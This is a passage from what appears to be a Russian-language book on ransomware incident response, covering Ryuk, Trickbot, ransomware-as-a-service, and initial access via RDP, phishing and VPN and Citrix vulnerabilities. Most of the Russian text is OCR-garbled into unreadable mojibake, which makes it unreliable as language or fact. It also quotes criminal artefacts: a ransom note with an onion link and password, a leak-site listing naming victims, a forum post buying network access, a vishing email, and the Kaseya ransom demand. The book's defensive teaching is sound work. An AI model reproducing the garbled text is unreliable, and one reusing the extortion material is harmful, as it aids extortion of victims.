yIpaBIIeMbIX JTIOAbMU. [pyroi spkuil mipumep — Trickbot, TeCHO CBSI3aHHBIN C IPOrpaMMOM-BbBIMOTraTeIeM

Ryuk.

.2018 r. — nporpamma-BbiMorareJib Ryuk

. IIporpamma-BeiMorarens Ryuk BEIBena 0XOTY Ha KPYIHYIO THYh HA HOBBIM YPOBEHB. DTOT IITAMM
IIPOTpaMMBI-BEIMOTaTelIs, CBI3aHHBIN ¢ Tpymmoi Trickbot, Takke m3BectHoM kak Wizard Spider, akTuBeH u
CETOTHS.

. Ilo manasiM Advintel, 3a cBorO MCTOPHIO rpyIiNa aTakoBajia pa3jIMYHbIC OpraHU3alliu 1 3apadoTajia He MEHEe
$150 mma (ncTounuk: https://www.advanced-intel.com/post/crime-laundering-primer-inside-ryuk-crime-
crypto-ledger-risky-asian-crypto-traders).

. Hexotopoe BpeMs Ryuk Ha3zpIBau TpOMHOM yIp0o30i1, IIOCKOJIBKY 3apaKeHUsI OOBIYHO HAUMHAIMCh C TPOSIHA
Emotet, koTopslii 3arpyxkan Trickbot, KOTOpEI, B CBOIO o4Yepeib, UCIOIL30BAJICS JJISI 3arpy3Ku
MHCTPYMEHTOB IMOCTAKCIUTyaTallU U OKOHYATEJIbHOIO pa3BEePThIBAHUS MPOrpaMMbI-BeIMOraresis. OObIYHO
Trickbot ucrmons3oBancs mis 3arpy3ku areara PowerShell Empire nimm Cobalt Strike Beacon — siemenra
€IIC OJHOr0 YpE3BhIUANHO MONYIIPHOro ppeiiMBOpKa IMIOCTAIKCIIyaTallUH.

. HemaBHo rpymnna nameHuna HAOOp MHCTPYMEHTOB M CTaJIa UCIOJIb30BAaTh HOBBIM TPOSIH MO

Ha3zBaHueMm Bazar. UaTepecHO, 4TO OHM Havyaad OPUMEHATh «BUIIHMHI (TOJIOCOBOM (PUIIMHT). DUIIMHTOBBIE
MKUChMa COJICPKAT HE BPEAOHOCHBIE (Pailyibl MU CCHUJIKHU, a JUIIb J0KHYI0 HHPOPMAIIMIO O IJIATHOM
MOJIMMCKE U HOMEP TeaedoHa, II0 KOTOPOMY MOKHO ITO3BOHHUTh, YTOOBI OTMEHMUTH €e. Eciiu s)kepTBa 3BOHUT 10
HOMEPY, OIlepaTop MOACKA3bIBACT €l 3arpy3uTh BpeOHOCHBIN (aiin Microsoft Office, OTKpHITh ero u



BKJIFOUMTh MaKpOCHI, KOTOPBIE 3apakar0T KoMIboTep TposiHoM Bazar. Kak u B ciaydae ¢ Trickbot, Tposin
MCHOJB3YETCS IS 3arPy3KM 1 3alMyCcKa (pperMBOpPKa MOCTIKCITyaTauu — vaine Bcero Cobalt Strike.

3JI0YMBIIUJIEHHUKA UCIIOJB30BaId HECKOJIBKO METOA0B 3anmycka Ryuk, B TOM uucie panee ynoMsHyThId
PsExec n Moaupukanuio rpynmnoBord NOMUTHKY. [[oHAYamy OHM yKa3bIBald agpeca SJIIEKTPOHHOU MOYTHI,
4TOOBI KEPTBBI MOTJIN CBSI3aThCS C HUMH, HO BCKOPE HAYaJIM UCHOJIB30BaTh ONion-CEPBUCHI Tor.

INSTRUCTION:

1. Download tor browser.

2. Open link through tor browser: http://
vqurn5zgys2zd5z5r5fxnfskpzr74i63ehk7ucmribvsuszapwoob2qd.onion
3. Fill the form, your password: yxFS7vMc

We will contact you shortly.

Always send files for test decryption.

Puc. 1.5. MHCTpyKIIUM, yKa3aHHbBIE B COOOIIEHUM O BBIKYIIE3

OnepaTopsbl nporpaMMbI-BeIMOTraTelisi Ryuk mo-npexkHemy akTuBHBI U, 110 JaHHBIM Advintel 1 HY AS, yxe
3apaboranu 6onee $150 mun (ucrounuk: https://www.advanced-intel.com/post/crime-laundering-primer-
Inside-ryuk-crime-crypto-ledger-risky-asian-crypto-traders).

. KT0o cTouT 3a nporpammon-BbeiMorartesjieM Ryuk?

4 mrons 2021 r. ®BP o6HapomoBano JOKyMeHT, 0OBUHSIONMN ATy BuTTte, Takke n3BeCTHYIO Kak Makc, B

MIPUYACTHOCTU K TPAHCHAIIMOHAJILHOW OpraHU3alii, OTBETCTBEHHOM 3a CO3/IaHUE U PACHPOCTPAHEHUE TPOSTHA
Trickbot.

HexkoTtopsie npyrue nuna, cBsazanHbie ¢ Ryuk, Ob11n oneparopamu 0otHera Emotet. IX apectoBasin B iHBape
2021 r. B pe3ynbTaTe COBMECTHOMU OIIEPAIMU MTPABOOXPAHUTEIBbHBIX OpraHoB Huaepnannos, [ 'epmanuu,
CIIA, Beaukooputanuu, @panuuu, JInteel, Kanaael 1 YkpauHsl. B pe3ynbTare B1acTu B3sUIM
MHPPACTPYKTYPY OOTHETA MO/ MOJHBIM KOHTPOJIb.

BoT kak BeITIIsI€II0 paboyee MecTo onepatopoB Emotet.

Puc. 1.6. Pabouee Mecto oneparopoB Emotet

HecMoTpst Ha apecThl 3J10yMBIIIICHHUKOB, «00JIbIIIasl UT'Pay IIPUBJIIEKAET BCE OOIbIIE 1 OOJIbIIIE
KMOepHpeCTYyIHUKOB. B pe3yinbTare nmosBuics emie oJuH (GeHOMEH — IporpaMMa-BbIMOIaTelb KaK yclyra.

. 2019 r. — HacToAl1Iee BpeMd: NPpOorpamMmmal-
BbIMOraTe/id Kak ycjayra (RaaS)

2019 r. 0BT TOAOM pOCTA MOMYISIPHOCTH IIPOTrPaAMM-BbBIMOTaTEICH KaK YCIYTH, U CETOJIHSI OHU MO-TIPEKHEMY
OCTarOTCA INIaBHOM TEHJIEHIIMEH. MHorue pa3paboTUUKH IIpOrpaMM-BbIMOraTeIe Hayaau npejjaratb CBOU
IPOYKTHI PA3JIMYHBIM 3JI0YMBIIIJICHHUKAM B OOMEH Ha IPOLIEHT OT IOJY4EHHOT'O BBIKYIIA.

REvil, LockBit, Ragnar Locker, Nefilim — nums HekoTOpbie U3 CEMEHCTB IIporpaMM-BEIMOTaTelICH,
pacIpoCTPaHIECMBIX IT0 MOJEIN «IIPOTpaMMa-BbIMOTaTeIb KakK yciryray. 1 jaxe eclim HECKOJIBKO
3JI0YMBIIUICHHHKOB MCITOIL3YIOT OAUH M TOT JK€ THII IIPOIPAMMEBI-BBIMOT AT, UX TAKTUKU, TEXHUKU H
IPOIEIYPHI MOTYT OBITH OYCHb Pa3HBIMH.



TeM HEe MEHEEe B HACTOSAIIEE BPEMSI MHOTHE 3JI0YMBINIJIEHHUKN UCIIOJIB3YIOT OJIMH M TOT K€ MOJXO0/I: OHU
M3BJICKAIOT JAHHBIE 10 (PAKTMYECKOTO pa3BEPTHIBAHUS MPOrpaMM-BbIMOraTesIei. ITOT TPEH/I 310K €IIIE B
2019 r. oneparopsl nmporpaMmMm-BeIMOraTener Maze. B HacTosIee BpeMsl MOYTH BCE 3JI0YMBIIIJICHHUKH,

IpeAIPUHUMAIOIINE MTOJ00HBIC aTaKK, UMEIOT CBOM COOCTBEHHBIC CalThl yTeuku JaHHbIX (Data Leak Site,
DLYS).

Bot npumep DLS, ncnons3yemMoro B onepanusax ¢ nporpammori-seimorareiaem DoppelPaymer.

' Below you can find private data of the companies which were hacked by
DoppelPaymer. This companies decided to keep the leakage secret. And now
their time to pay is over.

i Charlie Clark Nissan Brownsville

URL.: https://iwww.charlieclarknissanbrownsville.com

Read more

Views: 25293 | Published: 2021-05-06 15:21:08 | Updated: 2021-06-25 22:01:50

i@ Yuba County

URL: https://www.yuba.org/

Views: 11879 | Published: 2021-02-11 06:50:41 | Updated: 2021-06-24 18:40:38

Puc. 1.7. DLS DoppelPaymer4

OOBIYHO MHUIIUATOPBI ATAKU HE YIIPABJISIOT CAMU BCEM €€ KU3HEHHBIM IIUKJIOM, a MOJIb3YIOTCS YCIyraMu
APYTUX 3J0YMBIIIJIEHHUKOB. Hampumep, oHU MOTYT COTPYIHMYATh ¢ OpOKepamMu MepBOHAYATIBLHOTO JOCTYTIA,
KOTOPBIE TTO3BOJISIIOT UM IMMPOHUKHYTh B CKOMITPOMETUPOBAHHbBIC KOPIIOPATUBHBIE CETH. B HEKOTOPBIX
CJIydastX OHM MOTYT IUIATUTh MPO(PECCUOHATBHBIM TECTUPOBIIMKAM Ha TPOHUKHOBEHUE (IIEHTECTEPaM) 3a
pacIIMpPEHME MPAB TOCTYNA WIM 00XO0J 3aIUThI, YTOOBI 3aT€M OECIPENMATCTBEHHO 3aIyCKATh MPOTrPAMMBbI-
BBIMOTATEJIM B MaclITabax BCEro MpeANpHUsITHA.

3JI0YMBIIIJICHHUKH, YY4aCTBYIOIIME B MPOEKTE, MOT'YT I1OJIy4aTh Pa3IdyYHbIC JOJIU OT BbIKyIa. OOBIYHO
pa3zpaboTYMKy noay4daroT okojo 20%, nHUImaTopsl aTaku — 0Ko10 50%, OpoKephl IEPBOHAYAILHOTO
noctyrna — 10%, a ocTabHOE OCTAETCS BCIOMOTATEBHBIM 3JI0YMBIIIJICHHUKAM, HATPUMED TIEHTECTEPAM
WJIU TIEPETOBOPIIAKAM.

[IporpamMMbI-BBIMOTATENN KAK YCIyra B HACTOSIIES BPEMS UPE3BBIYANHO pacipocTpaHeHbl. COrjaacHo
orueTy Group-IB Ransomware Uncovered 2020/2021 (https://www.group-ib.com/resources/research-
hub/ransomware-2021/), 64% Bcex aTak nporpamMm-BeiMorareneii B 2020 r. ObLIN COBEPIICHBI JIMIIAMH,
CcBs3aHHBIMHU C¢ RaaS.

. KTO cTOs1)1 3a nporpaMMaMHU-BbIMOraTeJIsAMU KaK YCJAyrou?

OnHOMY W3 JIMII, CBSI3aHHBIX C Iporpammoii-eeiMoraresieM NetWalker, Cebacteeny Bamon-/lexapaeny,
rpaxaanuHy KaHaael, ObLJIO IpeabsaBiIeHO 0OBUHEHUE B sHBape 2021 r. YTBepKIaeTcs, 4To OH B 0OIIEH
CI0>KHOCTH 3apa0d0Tall BRIMOTaTeabCTBOM Oosee $27,6 MitH.

Jpyroii npuMmep — mapa jull, apPUIMpoBaHHBIX C IIpOrpaMMoii-BeiMoraresieM Egregor, KoTopbie ObLIM
apeCTOBAHBI C MOMOIIBIO (PPAHITY3CKUX BIACTEH, OTCICAUBIINX YIIAThl BEIKYIIA B UX aJIpec.

Ele ogun npuMep — JIMlia, CBA3aHHbIE ¢ mporpammolii-BeiMorareiaem Clop, KoTopbie IToOMOraiu
3JI0YMBIIIJICHHUKAM B OTMBIBAHUM JICHET M Tak)ke ObLIM apecToBaHbl B utoHe 2021 T.

Takum 00pa3zom, IpoOrpaMMbI-BBIMOTAaTENN KaK YCIIyra MO3BOJIMIN OIPUCOCAUHUTHLCS K «OOJIBIION UTPE»
MHOTHMM KMOEpNpeCcTyMHUKaM — Ja)Ke TeM, KOMY HE XBaTaj0 HaBBIKOB M BO3MOKHOCTEH. ITO OJIMH U3
BaXKHBIX (DAaKTOPOB MPEBPAIICHUS aTaK IPOrpaMM-BbIMOTaTelIeH, YIPaBIseMbIX JIFOJIbMH, B KUOEPIIaHIEMHUIO.

. BBIBOIbI

B »T01 rinaBe Bbl 03HAKOMUJIUCH C HCTOpHGfI COBPCMCHHBLIX d4TdK C HCIIOJIb30BAHHUCM HpOI‘paMM-BBIMOFaTeJIeﬁ
N HCMHOI'O Y3HAJIM O TAKTHUKAX, TCXHUKAX W ITPOOCAYypax 3JIOYMbBINIJICHHHUKOB, UX 6I/IBH€C'MOI[€HI/I — N 14>KC O
HCKOTOPLIX JIIOAAX, KOTOPBIC CTOAIN 3a OIIMCAHHBIMHU dTadKaMH.



. B ciaenyronient riaaBe Mbl yrilyOMMCs B COBPEMEHHYIO KAPTHHY YIpo3, CBSI3aHHYIO C MpOrpaMMaMu-
BBIMOTATEJISIMU, X COCPEIOTOYNMCS HA )KU3HEHHOM IHKJIE aTaKW — OT ITOJIYYEHHS IIEPBOHAYAIILHOTO
I0CTyna A0 (PAKTHYECKOTrO 3aIlyCcKa IIpOrpaMMbI-BbIMOTaTE]Is.

[naBa 2

"KU3HEHHbIU HUKJI
COBPEMEHHOMU ATAKHU C
NUCITOJIB30BAHUEM
MPOT'PAMMBI-BBIMOTATEJIS

ATaKu ¢ MCHOJIb30BAaHUEM ITPOrPaMM-BBIMOTaTEIEH MOT'YT ObITh OYEHB CJIIOKHBIMH, OCOOCHHO €CJIM PE€Yb HJIET 00
OXOTE€ Ha KPYIHYIO 1U4b — Kopropanuu. [ToaToMy, nipexkie uem yrinyOJisiTbCsl B TEXHUUECKUE AETalId, OUYCHb
Ba)XXKHO Pa300paThCs B TOM, KaK YCTPOEH KM3HEHHBIN IUKJI TUIMYHOM aTaku. [loHMMaHue )KM3HEHHOTO IIUKJIa
aTaKy MOMOIaeT CIeIUAIMCTaM 110 0€30MaCHOCTH MPaBUILHO PEKOHCTPYUPOBATh MHIIUJCHTHI U MPUHUMATh
BEPHBIE PEIICHUS HA PA3JIMYHBIX dTarnax pearnpoBaHUSI.

Kak BbI yke 3HaeTe u3 riaBbl 1 «ICTOpUst COBpEMEHHBIX aTaK C UCIOJIb30BAHUEM IIPOTPAMM-BBIMOTATEIIEH,
IPOTPAMMOM-BBIMOIATENIEM KaK YCIIYTOM MOKET YIIPABJIATH KaK TPYIINA JIUI, TAK U PAIT OTIACIbHBIX
3JIOYMBIIIJIEHHUKOB. UTO 3TO 3HAYUT? TaKTUKU, TEXHUKU U TPOLEAYPHI MOTYT CHIILHO PA3JIMYaThCA, HO
YKU3HEHHBIN ITUKJI aTaKu B OOJIBIIMHCTBE CIIy4acB OyAET MPUMEPHO OJMHAKOBBIM, IOCKOIBKY 3710 YMBIIIICHHUKH
OOBIYHO MPECTECAYIOT ABE OCHOBHBIC LIEIN — YKPACTh KOH(DUICHIIMAIbHYI0 HH(OPMALIMIO 13 LIEJICBON CETH U
Pa3BEPHYTh KOIIMIO IIPOrpaMMBbI-BBIMOTATEIIsl B MaclITA0aX OPEANpPUITHS.

B 3Tol ri1aBe Mbl KpaTko 0OCYyMM pa3IddHbIC ATAllbl aTaK MPOTPaMM-BbIMOraTelIeH, YIIPaBISIEMbIX YEJIOBEKOM,
4TOOBI C(POPMHUPOBATH SICHOE MPEJICTABICHUE O JKU3HEHHOM ILMKJIE ATUX aTaK U IOJrOTOBUTHCS K IMOTPYKEHUIO B
TEXHUYECKUE JETAJIN.

B 3TOM r;1aBe Mbl paCCMOTPMM CJIeAYIOII e TEMBI:

Ha4anbHble BEKTOPbI aTaKku.
[locTaKkcnayaTaumA.

KpaXa gaHHbIX.

Pa3BepTbiBaHME NpPOrpamMm-BbiMOraTenemn.

Havya/sibHbIe BEeKTOPhI aTaKHU

JIrobas aTaka HAUMHACTCS C MOJYUYCHHUS ePBOHAYAIBLHOTO JIOCTYMa. DTO MOXKHO CJIeJIaTh Yepe3 MOAKIFOUCHHBIN K
BHyTpeHHeM cetu VPN, 10CTaBiICHHBIN C IIOMOIIBIO I[€JIEBOr0 (PUIIMHIA TPOSH, PA3BEPHYTHIM C IOMOIIBIO
B3JI0Ma OOIEAOCTYITHOI'O MPUI0XKEHHUS BEO-UHTEpPEIC U JaXKe C IIOMOIbIO aTaKHU Ha IEMOYKY MOCTaBOK

(Ipyroi TEpMHH — aTakKa 4epe3 TPEThIO CTOPOHY).



Tpu Hanbonee pacpoCTpaHEHHBIX Ha4aJIbHBIX BEKTOpPA aTaKd — 3TO MOJyY€HHUE JOCTYIMa Yepe3 IPOTOKOJI
yaajieHHoro padodero crona (RDP), nieneBol (UIIUHT M SKCILTyaTallUs YSI3BUMOCTEH MPOrPaMMHOIO
0o0ecCIIeYeHUs.

Hwuxe npuBeIeHbl CTATUCTUYECKHUE JaHHBIE O HAH00JIee paCIPOCTPAHEHHBIX BEKTOPAX aTaK MporpamMm-
BbIMorarenen 1o Il kaprana 2021 r. BkitounTenbHo, coopanHbie Coveware

(ncrounuk: https://www.coveware.com/blog/2021/7/23/g2-ransom-payment-amounts-decline-as-ransomware-
becomes-a-national-security-priority).

BEKTOPbI ATAK NMPOTPAMM-BbIMOTATE/IEN

100.0% — B3nom RDP

e DULINAHT
Yepes INEeKTPOHHYK
75.0% noyTy

YassumocTu
NPOrPamMmHoOro
50.0% obecneyeHunn

- = [lpoyee

25.0%

9% cAyYaes 3a Nnepuog No Kaaomy BeKTopy

Puc. 2.1. Hauboee pacrpocTpaHeHHbIE BEKTOPbI aTak IporpaMm-BeIMorarenei, coriacio Coveware
PaccMOTpuM KaXAbIN U3 HUX TTOJAPOOHEE U COMPOBOIUM ITPUMEPAMHU.

[losnyyeHHre aoCTyIIA Yepe3 NPOTOKOJI yAaJIeHHOro paoo4dero croJia (RDP)

B teuenue muorux jier RDP ocTtaBasncs Hanbosee pacnpoCcTpaHEeHHBIM ClTIOCOOOM JOCTYIIA 3JI0YMBIIIJIEHHUKOB K
1eneBou cetu. M3 rmasel 1 «cToOprsi COBpEMEHHBIX aTaK C UCIOJIb30BAHUEM MIPOTPAMM-BBIMOTATEJIEN» BbI YKE
3HAETE, YTO €r0 MCMOJIb30BaIM MUOHEPHI MTOI00HBIX aTtak — oreparopbl SamSam. Koneyno, SamSam — He
€AUHCTBEHHBIN MpUMEP. B HacTos11ee BpeMs I TUM BEKTOPOM MOJb3YETCSI MHOKECTBO 3JI0YMBIIIIICHHUKOB — U
JCHCTBYIOIIME OT CIIydas K CIydaro, Kak onepaTopsl MporpaMMbI-BeIMoraTesiss Dharma, v nenenanpaBieHHbBIC
OpraHm30BaHHEIE Tpymmsl Bpoae REVII.

[Tangemus ycyryouia CUTyalui0 — MHOTHE KOMIAHUW MPEI0CTAaBUIN CBOMM COTPYJIHHUKAM BO3MOKHOCTD
yAaJI€HHOW pa0OThI M OB BBIHYKACHBI OTKPBITh CBOM CEPBEPHI, KOTOPHIE CTAIM MHUILICHIMHM JJI1 pa3HOTO Poja
3JI0YMBIIIJICHHUKOB, BKJIIOYAsl ONIEPATOPOB MPOrpaMM-BbIMOTATEIIEN.

Hanpumep, BoCop30BaBIIMCh CUCTEMOM ITOMCKA 00IIEAOCTYITHBIX cepBEpOB Shodan ¢ OTKPHITHIM
noptom 3389 (rmopt no ymosganuto A1 RDP), MoXHO yBUAETh MUJIIIMOHBI YCTPOKCTB.

BCEINO PE3VIJIbTATOB

4 841 093

CTPAHbI-JINOEPbI

CLLA 1618 745
[epmaHuns 1 267 350
Hupepnangbi 197 536

Benuko6puranua 132 586

Puc. 2.2. KoJm4ecTBO yCTPOMCTB, IMOAKIIOYEHHBIX K MHTEPHETY C OTKPBITHIM ITOPTOM 3389

[IpocTennm MOMUCK BBIIAET MUJJIMOHBI PE3YIBTATOB — ATO OJIHA U3 IPUYHH, 10 KOTOPOU JIAaHHBIM HAYAIbHbIN
BEKTOP aTaKM TaK IOIYJISAPEH CPEAU ONEPATOPOB IIPOrPAMM-BBIMOTATETIEH.

Ha npakTrke 3710yMBIIIICHHUKW HE BCET/IAa MBITAKOTCS CAMU aTAKOBATh TAKHWE CEPBEPHI, OHU MOTYT IMPOCTO
KYIUTH JOCTYI K HUM. Oneparopsl IIporpaMM-BBIMOIaTeIed KaK yCIYTH MOTYT HE TOJIbKO apE€H]I0BATh
IPOrpaMMbI-BBIMOTaTENIM, HO U IIOKYIIaTh JOCTYII K KOPIIOPATUBHBIM CETSIM Y TaK Ha3bIBa€MbIX OpOKEpOB
IepBOHAYaJIbHOIO JocTyna. Takue OpoKepbl 0OBIYHO HE YYAaCTBYIOT B ATale MOCTAKCIUTyaTal[MM, Yallle OHU
IPOJIal0T MEPBOHAYAIIBHBIN JOCTYII MJIM OTHAIOT €ro 3a J10J1t0 (B cpeaHeM 10 10%) B BOBMOKHOM CyMME BBIKYIIA.



Horma omepaTopsl IpOrpaMM-BEIMOTaTeICH Ja)ke CO3al0T TEMbI Ha aHACTPayHAHBIX (popyMax, YTOOBI
IpPHUBJICYh BHUMaHHE OpPOKEPOB IIEPBOHAYAIBHOIO JOCTYIIa. BOT, Hampumep, cooOIeHre, MPEeI0CTaBISHHOE
matdopmoii Threat Intelligence and Attribution komnannu Group-1B, — oHO MOKa3BIBaET, UTO ONEPATOPEI
nporpammbl-BeiMoratelrs Crylock 3amaTepecoBanb! B TOKyIIKE pa3IMIHBIX THIIOB JOCTYIA K KOPIIOPATHBHBIM
CCTSIM.

Mokynaio KopnopaTkeHbie AocTynbi citrix/vpn/rdp/RDWeb/pulse n apyrue, Yepes KoTopbie MOXHO
3anTu B ceTb. Revenue < 100kk. Liexnt ot 1000-15000SS. A He Gepy meauuuHCKyio chepy, lkonbi,
YHUBEDCUTETDHI M APYTUe HeKOMMepueckue yupexaesus. C npegnoxedusimu 8 MM,

Puc. 2.3. [loct Ha anaerpaynaHom opyme
Jlasmee MbI paCCMOTPHUM JIPYTOM YPE3BBIYANHO MOIMYJISIPHBIM Ha4aJdbHBIA BEKTOP aTaKd — IIE€JIEBOM (DUILIMHT.

leneBor PUUIMHT

[{eseBoM (PUIIMHT MOAPA3YMEBAECT UCITOJIb30BAHUE COMAIBHON MHKEHEPUH. 3JIOYMBIIIICHHUKHA MAHUITYJIUPYIOT
MOJIb30BATEIISIMA, YTOOBI T€ OTKPBIBAIN BPEAOHOCHBIE BIIOKEHHUS WIIM TIEPEXOIUIIHN 10 OTIACHBIM CChUIKaM. Tak B
UX PACIOPSKEHUN OKA3bIBAIOTCS YYETHBIE JIAHHBIE, KOTOPBIE MOTEHIMAIIBHO MOXHO HUCIIOJIb30BaTh 1A
noJiyueHust VPN-gocTyIa K 11eaeBou CETHU WIIM, KaK Bbl YK€ 3HaeTe U3 riiaBbl 1 «cTOprs COBPEMEHHBIX aTaK C
HCIIOJIb30BAHUEM IIPOTrpaMM-BBIMOIaTEIIEN», AJI 3apAKEHUSA YCTPOUCTB TPOSTHCKUMU IIporpammamu. [lonadany
MHOTHE 3JI0YMBIIIJIEHHUKH UCIIOJBb30BaIN Takoe BpenoHOocHOe 110 a1 0aHKOBCKOrO MOIIEHHUYECTBA, HO OHO
TAK)KE MPUMEHSETCS JJIs TTOJYUYEHUS IEPBOHAYAIIBHOTO JOCTYIA K KOPIIOPATUBHBIM CETSM.

Haunbonee pacnpocTpaHeHHbBIC MPUMEPHI TOJOOHBIX TPOSTHOB:

BazarLoader
Hancitor
lcedID
Qakbot
Trickbot

EcTecTBeHHO, CIIMCOK HEMOJIHBIM — 3TO JIUIIL HauOoJIee pacpoOCTPaHEHHBIE IIPUMEPHI CPEJICTB,
MPOKJIAABIBAOIIUX JOPOTY OIEepaTopam MporpaMM-BbIMOTaTEIIEH.

OOBIYHO OIlepaTOPHI TAKUX TPOSHOB ITPOBOAAT MACCUPOBAHHBIEC ClIaM-KaMIIaHUH, B OCHOBHOM CPEIU
KOPIOPATUBHBIX I0JIb30BaTE e, Hallle BCEro OHU MCHOIb3YIOT MEPEXBAT LEMOYKH COOOIEHUN — CO
B3JIOMAHHBIX aIPECOB BJIEKTPOHHOU ITOYTHI 3JIOYMBIIUIEHHUKA OTHPABIISAIOT BPEIOHOCHBIE JOKYMEHTHI B OTBET HA
MMOAJIMHHBIE 3JIEKTPOHHBIE MUCHMA.

)

| Re: RE: HSE traning list

g Calculation-640862237-10162020.zip _
21 KB \

Hello,

You should look at this

Regards.

Puc. 2.4. [Ipumep nepexpara 1enodku cooOmeHui oneparopamu Qakbotd

B HEKOTOpBIX Cydasx 3JIOYMBIIIJICHHUKH UCIIOJB3YIOT €Ile 00Jiee U30IIPEHHBIE METOIbl: U3 Ii1aBbl 1 «McTopus
COBPEMEHHBIX aTakK C MCIIOJIb30BaHUEM IIPOrpaMM-BEIMOTaTeIek» BbI 3HAETE, UTO orepartopsl BazarLoader taxxke
MCIOJIb30BaIM BUIIKHT (TOJIOCOBOM (DUIIIHUHT).

[IpruMep TaKOro 3JEKTPOHHOTO MUChMA ITPUBEIECH HUXKE.



Good day, #0472392865357
This e-mall Is just a notification relating to your current subscription.
This premium trial is almost over.

Nevertheless, the credit card you've mentioned in your existing member's account is going to be utilized
to extend your premium,

We have virtually all books on almost any subject in our enormous online selection.

Stop by our web-site, to check on our household plans, where your friends and family can have a great
time collectively applying a serious discount.

Thank you for your personal trust in our services!

Wanna discover more your subscription, or have some other thoughts? Here's how you can reach our
Customer support +1 737 710 1686

All the best,

Paradise Books Crew

Do not react to the following e-mail direct

Puc. 2.5. IlpuMep pummHroBoro nucsMa ¢ 1ebio pacnpoctpanenus BazarlLoader6

Kak BuauTe, Bp€IOHOCHBIX BJIOKCHUU B JAHHOM CJIy4ae HET. BMECTO 3TOT0 3JI0yMBIIIJICHHUKHU IPOCAT KEPTBY
HE OTBE€YaTh HA MHUCHMO, a IIO3BOHUTH MO TEJIE(HOHY CIYKObI MOJJIECPKKH, YUTOOBI CBS3AThCA C ITOICTABHOM
KOMIAHUEN U OTMEHUTH IOJIIHUCKY.

Ecinu sxepTBa MO3BOHUT, 3JI0YMBIIUICHHUKH U3 (DAJIbIIMBOIO KOJI-IIEHTPA HAIIPaBAT €€ Ha BeO-caiT, YyTOObI OHA
CaMOCTOSITEJILHO OTKPBIJIa BPEJIOHOCHBIN JIOKYMEHT U BKJIHOUYMJIA MAaKPOCKI, YTOOBI 3aIpy3UTh U 3alTyCTUTh
BazarLoader.

MBI pacCMOTPUM JIOTIOJHUTEIbHBIE TEXHUYECKUE MTOAPOOHOCTH 3aITyCKa U MACKUPOBKH TaKUX TPOSTHCKHUX
[pOTPaMM B CIICAYIOIIMX IJIaBax, a IOKa 3alIOMHUTE, YTO 3JI0YMBIIUIEHHUKU MOT'YT UCIIOJIb30BaTh UX IS
3arpy3KH JOMOJHUTEIIBHBIX HHCTPYMEHTOB HA CKOMIIPOMETUPOBAHHBIN XOCT, YTOOBI 3aT€M BBIMOJIHUTH MIATH
MOCTIKCITyaTaliu U MOJYYUTh B CBOE PACHOPSIKEHUE IPUBUICTUPOBAHHBIE YUETHBIC 3AMUCHU 1 TIPOABUKECHUSA
10 CETH.

B 3aBepiiieHre Hailero 0030pa HayajabHbBIX BEKTOPOB aTaK MbI CAEIaeM 0030p Pa3IMyHbIX YSI3BUMOCTEH
IPOrPaMMHOI0 00€CTIeUeHHM S, TTO3BOJISIONIMX OepaTopaM MporpaMM-BeIMOTaTe el MoJydaTh JOCTYII K 11€JICBOM
CETH.

YazsumocTu I10

YS3BUMOCTH MPOTPaAaMMHOT0 00ECII€YEHMS TO3BOJIMIM MHOTUM OpOKepaM Ha4yajJbHOI'O JOCTYyNa pa3doorareTh Ha
COTHHM THICSIY JIOJIJIAPOB, HO IPH HOMOIIM IMIPOrpaMM-BbIMOIraTeIe KaK yCAyryd ObUIM MOJTY4€Hbl MUJJIMOHBI.

KoHeuHO, HE KaxK1ast yI3BUMOCTb JIA€T 3JI0YMBIIIJIEHHUKY BO3MOXKHOCTD ITOJIYYUTh IIEPBOHAYAIBHBIN JOCTYII B
ceTh. Hallle BCEro uCnoJib3yrTCs YSI3BUMOCTH, KOTOPBIE TTO3BOJISAOT YIAJIEHHO 3allYCTUTh KOJI UM MOJTYYUTh
(baiijIbl C YYETHBIMHU JTaHHBIMH.

Xopommuii mpuMep ysa3BuMocta — nprinoxkerue Pulse Secure VPN. Hanpumep, ysa3sumocts CVE-2019-11510
MI03BOJISIJIA 3JTI0YMBIIIUICHHUKAM [M0J1y4aTh MMEHA I0JIb30BaTe/e U He3all(pPOBaHHBIC NAPOJIN OT YSI3BUMBIX
YCTPOMCTB, YTOOBI UCIIOJIL30BAaTh UX JJIs 1OCTYIIA B CETh.

Jlpyras ysi3BUMOCTb, ITONMYJISIpHAsI CPEAX ONEepaTopoB mporpamMmm-BeiMorare-iei, — CVE-2018-13379 B
cepepax FortiGate VPN. OHa Toxe m03BOJISICT 3JI0YMBIIIIICHHUKAM YUTATh (haiiIbl ¢ He3amu(pPOBAHHBIMU
YYETHBIMH JAHHBIMU.

Yszumocts CVE-2019-19781 B pemennu Citrix ADC and Gateway taxke akTHBHO HCIIOJIb30Bajach MHOTHMU
IpYIIIIaMU BBIMOTATENICH — OHAa IO3BOJIAIA 3JI0OYMBIIIJICHHUKAM yIAJICHHO 3arpy»KaTh M 3ayCKaTh BPEIOHOCHBIM
KOJI ¥ BBIIIOJIHATD IPYTHE ACHCTBUS MOCTIKCILTyaTaI1H.

Eme onuH npumep — MHorouuciaeHHble ys3BUMocTd B Accellion Legacy File Transfer Appliance, Bkirouas
CVE-2021-27101, CVE-2021-27102, CVE-2021-27103 u CVE-2021-27104, ucnoap3yembie OaHI0M
BeIMorareneii Clop.

HakoHel, B HEKOTOPBIX CIy4YasiX 3JIOYMBIIIJICHHUKAM YAA€TCS UCIIOJIb30BATh JAXKE YSI3BUMOCTH «HYJIEBOTO JTHS
— 3TO TaKHE ySI3BUMOCTH B CUCTEMAaX MJIM YCTPOMCTBAX, KOTOPBIEC YK€ CTaJId U3BECTHBI, HO €I1I€ HE ObLIN
uchpaieHbl pa3padotunkaMu. B urosie 2021 r. yyactHuku rpynnupoBku REvil ycnienHo BoCnoib30BaiucCh
HECKOJIbKMMH YSI3BUMOCTSIMU B CIIY>KO€ yaajieHHOro ynpanieHus Kaseya VSA u 3anycTuiiM BpeJIOHOCHBIM ITaKET
OOHOBJICHMS, YTO IIPUBEJIO K Pa3BEPTHIBAHUIO IPOrPpaMMBbI-BbIMOTaTENsl. ATaKa 3aTPpOHYJIa MHOTHX KIMEHTOB
Kaseya, B TOM 4McCjie HOCTaBIIMKOB yCIYTI KOMILIEKCHOTO ynpabiaeHus U T-uHdpacTpykTypoi, HO3TOMY
3JI0YMBIIIJICHHUKHY 3alIPOCHIIN ACHCTBUTEIBHO KPYITHBIN BRIKYIT — $70 MIIH.



KASEYA ATTACK INFO

On Priday (02.07.2021) we launched an attack on MSP providers. More than a million systems were (nfected. If anyone wants 1o
negotiate about universal decryplor - our price & 70 000 000$ in BTC and we will publish pablicly decryptor that decrypts files
